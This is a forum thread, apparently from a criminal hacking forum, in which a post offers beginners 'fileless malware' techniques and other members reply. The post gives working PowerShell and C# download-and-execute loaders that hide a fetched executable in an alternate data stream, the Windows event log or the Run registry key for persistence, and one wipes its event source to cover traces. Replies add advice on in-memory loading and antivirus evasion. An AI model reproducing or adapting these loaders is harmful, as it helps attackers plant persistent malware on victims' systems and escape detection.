What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Статья Fileless Malware: Executing Malware Stealthily from Registry for Beginners

blackhunt

Midle Weight
Депозит
$0
xss( fileless malware ).png




Hello dear users, today I have prepared an introductory article about fileless malware for you. I hope this article is good and efficient and will help newbies, and in the next parts I will talk more about the methods of this type of malware.

What is fileless malware?

ak in-memory malware
,aka memory-based malware it is a malware that runs in your device's memory and does not save any files to your disk. In short, they are hidden in RAM or Windows registry.

Well, now I will give a very brief explanation of how they are injected into the memory and registry and how they work

Performance in memory (RAM)

One of the ways of this malware is to use vulnerabilities in the system (such as browsers, office programs, or the operating system) to hide itself in the RAM memory.
Another method that can be used is the method of injecting code into valid processes of the operating system, which is usually done using techniques such as DLL Injection, Process Hollowing, or Reflective DLL Injection.
And as one of the more common ways to use this malware is to use POWERSHELL scripts that operate directly in memory.

Now its performance in the registry

Malware can save itself in the form of encrypted strings in the Windows registry.
It can use Windows registry startup keys to ensure that it restarts after a system reboot, or it can add new keys that cause malicious scripts to run at system startup.
And also, he can use the system's Task Scheduler to schedule the execution of scripts

I will give you some very basic examples and techniques:

Reflective DLL Injection:
This technique allows malware to inject a DLL directly from memory into a running process, without having to store it on disk.

Process Hollowing:
In this method, a valid process is created and then its memory is emptied to contain the malicious code. The new process appears as a legitimate running process, but actually executes malicious code.

Macro-based Attacks:
Office documents (such as Word or Excel files) that contain malicious macros can execute malicious code and inject malware directly into system memory.

Here we download the malware using a powershell script and store it in a temporary path, convert the malware bytes into BASE64 strings and store it in the Windows registry, then read the encrypted malware script from the registry and We do it. The main bytes are converted and then the software bytes are temporarily stored in the system and then executed:
C-подобный: Скопировать в буфер обмена
Code:
#url of the malware to download
$malwareUrl = "http://localhost/malware.exe"
$tempFilePath = "$env:TEMP\malware.exe"
$adsFilePath = "$env:TEMP\malware.txt:malware.exe"

#download the malware and save it to a temporary file
Invoke-WebRequest -Uri $malwareUrl -OutFile $tempFilePath

#read the malware bytes
$malwareBytes = [System.IO.File]::ReadAllBytes($tempFilePath)

#convert the malware bytes to a Base64 string
$malwareBase64 = [System.Convert]::ToBase64String($malwareBytes)

#store the Base64 string in an alternate data stream (ADS)
Set-Content -Path $adsFilePath -Value $malwareBase64

#read the Base64 string from the ADS
$malwareBase64FromAds = Get-Content -Path $adsFilePath

#convert the Base64 string back to malware bytes
$malwareBytesFromAds = [System.Convert]::FromBase64String($malwareBase64FromAds)

#save the malware bytes to a temporary file
$tempMalwarePath = "$env:TEMP\tempMalware.exe"
[System.IO.File]::WriteAllBytes($tempMalwarePath, $malwareBytesFromAds)

#execute the malware file
Start-Process -FilePath $tempMalwarePath

Fileless Malware can hide itself in the Windows event logs and be running. I wrote a sample code for you here:
C-подобный: Скопировать в буфер обмена
Code:
$malwareUrl = "http://localhost/malware.exe"
$tempFilePath = "$env:TEMP\malware.exe"

Invoke-WebRequest -Uri $malwareUrl -OutFile $tempFilePath
#read the malware bytes
$malwareBytes = [System.IO.File]::ReadAllBytes($tempFilePath)
#convert the malware bytes to a Base64 string
$malwareBase64 = [System.Convert]::ToBase64String($malwareBytes)
#create a custom event source
$source = "MyMalwareEventSource"
$log = "Application"

if (-not [System.Diagnostics.EventLog]::SourceExists($source)) {
    New-EventLog -LogName $log -Source $source
}

#write the Base64 malware string to the event log
Write-EventLog -LogName $log -Source $source -EventId 1001 -EntryType Information -Message $malwareBase64

#read the malware from the event log
$event = Get-EventLog -LogName $log -Source $source -Newest 1

#extract the Base64 string from the event log entry
$malwareBase64FromEventLog = $event.Message

#convert the Base64 string back to malware bytes
$malwareBytesFromEventLog = [System.Convert]::FromBase64String($malwareBase64FromEventLog)

#save the malware bytes to a temporary file
$tempMalwarePath = "$env:TEMP\tempMalware.exe"
[System.IO.File]::WriteAllBytes($tempMalwarePath, $malwareBytesFromEventLog)

Start-Process -FilePath $tempMalwarePath

#clean up: remove the custom event source
Remove-EventLog -Source $source
Here we download this malware script first like the previous script from a server
This script creates a custom event source if it doesn't exist and then writes the base64 string of the malware to the Windows event log, and then writes the last entry to the event log from the custom source it creates and extracts the base64 string and converts it into bytes. does the original returns and finally the cleaning operation is done to prevent possible traces.

Here, I will share a more complete code than the one I wrote with C#:


C#: Скопировать в буфер обмена
Code:
using System;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;

namespace FilelessMalwareExample
{
    class Program
    {
        static void Main(string[] args)
        {
            string malwareUrl = "http://loclhost/malware.exe";
            string malwarePath = Path.Combine(Path.GetTempPath(), "malware.exe");

            try
            {
                DownloadMalware(malwareUrl, malwarePath);
                EmbedMalwareInRegistry(malwarePath);
                ExecuteMalwareFromRegistry();

                Console.WriteLine("malware embedded in Registry and executed successfully!");
            }
            catch (Exception ex)
            {
                Console.WriteLine("error occurred: " + ex.Message);
            }
        }

        static void DownloadMalware(string url, string outputPath)
        {
            using (var client = new System.Net.WebClient())
            {
                client.DownloadFile(url, outputPath);
            }
        }

        static void EmbedMalwareInRegistry(string malwarePath)
        {
            if (!File.Exists(malwarePath))
            {
                throw new FileNotFoundException("malware file not found!", malwarePath);
            }

            byte[] malwareBytes = File.ReadAllBytes(malwarePath);

            string malwareBase64 = Convert.ToBase64String(malwareBytes);

            try
            {
               
                using (RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
                {
                    if (key != null)
                    {
                        key.SetValue("Malware", malwareBase64);
                    }
                    else
                    {
                        throw new NullReferenceException("Unable to create or access Registry key!");
                    }
                }
            }
            catch (Exception ex)
            {
                throw new Exception("Error embedding malware in Registry: " + ex.Message);
            }
        }

        static void ExecuteMalwareFromRegistry()
        {
            try
            {
                using (RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
                {
                    if (key != null)
                    {
                        string malwareBase64 = (string)key.GetValue("Malware");
                        if (!string.IsNullOrEmpty(malwareBase64))
                        {
                            byte[] malwareBytes = Convert.FromBase64String(malwareBase64);
                            string tempFilePath = Path.Combine(Path.GetTempPath(), "tempMalware.exe");
                            File.WriteAllBytes(tempFilePath, malwareBytes);
                            Process.Start(tempFilePath);
                        }
                        else
                        {
                            throw new Exception("Malware not found in Registry!");
                        }
                    }
                    else
                    {
                        throw new NullReferenceException("Unable to access Registry key!");
                    }
                }
            }
            catch (Exception ex)
            {
                throw new Exception("Error executing malware from Registry: " + ex.Message);
            }
        }
    }
}


Well, at the beginning, using this main function:

C#: Скопировать в буфер обмена
Code:
static void Main(string[] args)
        {
            string malwareUrl = "http://localhost/BH"; // url of the malware
            string malwarePath = Path.Combine(Path.GetTempPath(), "BH.exe"); // path for the temporary malware file

            try
            {
                DownloadMalware(malwareUrl, malwarePath); // Download the malware
                EmbedMalwareInRegistry(malwarePath); // Embed the malware in the Windows Registry
                ExecuteMalwareFromRegistry(); // Execute the malware from the Registry

                Console.WriteLine("Malware embedded in Registry and executed successfully!");
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error occurred: " + ex.Message);
            }
        }
Like the above two scripts, we download malware from the specified server, you put the malware in the Windows registry, and then it extracts and executes it.
And in the next function:
C#: Скопировать в буфер обмена
Code:
static void DownloadMalware(string url, string outputPath)
{
    using (var client = new System.Net.WebClient())
    {
        client.DownloadFile(url, outputPath);
    }
}

This function uses System.Net.WebClient to download the malware from the specified URL and store it in the desired output path.
And in our next function, which is called EmbedMalwareInRegistry, it first checks the malware file to see if it exists or not


C#: Скопировать в буфер обмена
Code:
static void EmbedMalwareInRegistry(string malwarePath)
{
    if (!File.Exists(malwarePath))
    {
        throw new FileNotFoundException("malware file not found!", malwarePath);
    }

And then it reads the malware bytes and converts them to base64 :
C#: Скопировать в буфер обмена
Code:
{
    byte[] malwareBytes = File.ReadAllBytes(malwarePath);
   
    string malwareBase64 = Convert.ToBase64String(malwareBytes);

    try
    {

And finally, base64 stores the malware in the Windows registry in the Run key for the current user to run when the system is turned on.

C#: Скопировать в буфер обмена
Code:
using (RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
        {
            if (key != null)
            {
                key.SetValue("Malware", malwareBase64);
            }
            else
            {
                throw new NullReferenceException("Unable to create or access Registry key!");
            }
        }
    }
    catch (Exception ex)
    {
        throw new Exception("Error embedding malware in Registry: " + ex.Message);
    }
}



Then, the EmbedMalwareInRegistry function is executed, which first tries to open the registry key where the malware is stored. If the desired key is not found or not allowed, an exception will be thrown and an error message will be displayed, then it will use the value stored in this key and get its contents as a Base64 string. This Base64 string is then converted to bytes and written to a temporary file. Then, it starts a process created to execute the temporary file in order to execute the malware. Finally, if the malware cannot find the registry key or access the temporary file, an exception is thrown and an error message is displayed.

C#: Скопировать в буфер обмена
Code:
static void ExecuteMalwareFromRegistry()
{
    try
    {
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
        {
            if (key != null)
            {
                string malwareBase64 = (string)key.GetValue("Malware");
                if (!string.IsNullOrEmpty(malwareBase64))
                {
                    byte[] malwareBytes = Convert.FromBase64String(malwareBase64);
                    string tempFilePath = Path.Combine(Path.GetTempPath(), "tempMalware.exe");
                    File.WriteAllBytes(tempFilePath, malwareBytes);
                    Process.Start(tempFilePath);
                }
                else
                {
                    throw new Exception("Malware not found in Registry!");
                }
            }
            else
            {
                throw new NullReferenceException("Unable to access Registry key!");
            }
        }
    }
    catch (Exception ex)
    {
        throw new Exception("Error executing malware from Registry: " + ex.Message);
    }
}

Then the ExecuteMalwareFromRegistry function is executed, whose task at first tries to open the registry key where the malware is stored. If the desired key is not found or not allowed, an exception will be thrown and an error message will be displayed, then it will use the value stored in this key and get its contents as a Base64 string. This Base64 string is then converted to bytes and written to a temporary file. Then, it starts a process created to execute the temporary file in order to execute the malware. Finally, if the malware cannot find the registry key or access the temporary file, an exception is thrown and an error message is displayed.

I hope this article helps you.

Best Regards

Author : Blackhunt
Especially for XSS.is


Вложения​

  • xss( fileless malware ).png
    xss( fileless malware ).png
    231.1 КБ · Просмотры: 7
 
blackhunt сказал(а):
fileless malware
Нажмите, чтобы раскрыть...
blackhunt сказал(а):
File.WriteAllBytes(tempFilePath
Нажмите, чтобы раскрыть...
As fileless as it could ever be... Who would know that files in the temp folder are not files at all... Like not a files...

blackhunt сказал(а):
And finally, base64 stores the malware in the Windows registry in the Run key for the current user to run when the system is turned on
Нажмите, чтобы раскрыть...
Say what?
 
DildoFagins сказал(а):
As fileless as it can ever be... Who would know that files in the temp folder are not files at all...
Нажмите, чтобы раскрыть...
you are right. The concept of this article is to be able to hide malware as much as possible, and one of the methods is to store them in the temp file, and this is an example implemented for very simple purposes. :smile10:
 
blackhunt сказал(а):
you are right. The concept of this article is to be able to hide malware as much as possible, and one of the methods is to store them in the temp file, and this is an example implemented for very simple purposes. :smile10:
Нажмите, чтобы раскрыть...
it is good as poc but out there in the wild will not work as soon as your exe touches the disk it will trigger some AVs, modern AVs are quit fast and efficient scanning the disk they can scan the whole disk in seconds to identify suspicious new files but all in all good article.
 
blackhunt сказал(а):
does not save any files to your disk
Нажмите, чтобы раскрыть...
blackhunt сказал(а):
string tempFilePath = Path.Combine(Path.GetTempPath(), "tempMalware.exe"); File.WriteAllBytes(tempFilePath, malwareBytes); Process.Start(tempFilePath); }
Нажмите, чтобы раскрыть...

Статья про то, как побрить хомячков-читателей на лайки.
 
чтобы было действительно fileless - в Run добавляем повершелловский скрипт - лойдер, кодорый будет подгружать целевую сборку и через Assembly.Execute выполнять ее в памяти, но этот метод конечно будет светиться как елка :)
 
voldemort сказал(а):
it is good as poc but out there in the wild will not work as soon as your exe touches the disk it will trigger some AVs, modern AVs are quit fast and efficient scanning the disk they can scan the whole disk in seconds to identify suspicious new files but all in all good article.
Нажмите, чтобы раскрыть...
Thanks for your feedback! yes, you’re right that modern antivirus solutions are very fast, and the probability of detection increases when an executable file touches the disk. However, this article was only meant to show the basic principles and a simple PoC. In reality, we use more sophisticated methods such as encryption, obfuscation, and exploiting zero-day vulnerabilities to evade detection. There’s always a way to bypass these systems; you just have to stay updated and know the new techniques. ;)
 
alex778 сказал(а):
An article about how to shave hamster readers for likes.
Нажмите, чтобы раскрыть...
It's good. right from the beginning of the article, and in the poster and title of the article, I stated that it's for beginners. It shouldn't be implemented with all advanced methods right now. we should always start with less. slowly, slowly, not rushing to the top step, I've only outlined a few simple and brief solutions here, not anything too critical or technical. I also don't need likes. with respect
 
blackhunt сказал(а):
It's good. right from the beginning of the article, and in the poster and title of the article, I stated that it's for beginners. It shouldn't be implemented with all advanced methods right now. we should always start with less. slowly, slowly, not rushing to the top step, I've only outlined a few simple and brief solutions here, not anything too critical or technical. I also don't need likes. with respect
Нажмите, чтобы раскрыть...
The fact that you post an article for beginners is not equal that you can simply lie in it. Your promise is "fileless malware" but what your code actually does is create a file and execute it normally. It is straight lie targeting inattentive readers in hope that they will give you a like without reading the text.
 
alex778 сказал(а):
The fact that you post an article for beginners is not equal that you can simply lie in it. Your promise is "fileless malware" but what your code actually does is create a file and execute it normally. It is straight lie targeting inattentive readers in hope that they will give you a like without reading the text.
Нажмите, чтобы раскрыть...
I'm not trying to collect likes, this fileless malware is a term, so I didn't lie to anyone. read the whole article, it's not my fault.
 
You should not safe exe on the temp ever, you should ran it directly from memory section. Anyway thanks for sharing
 
Top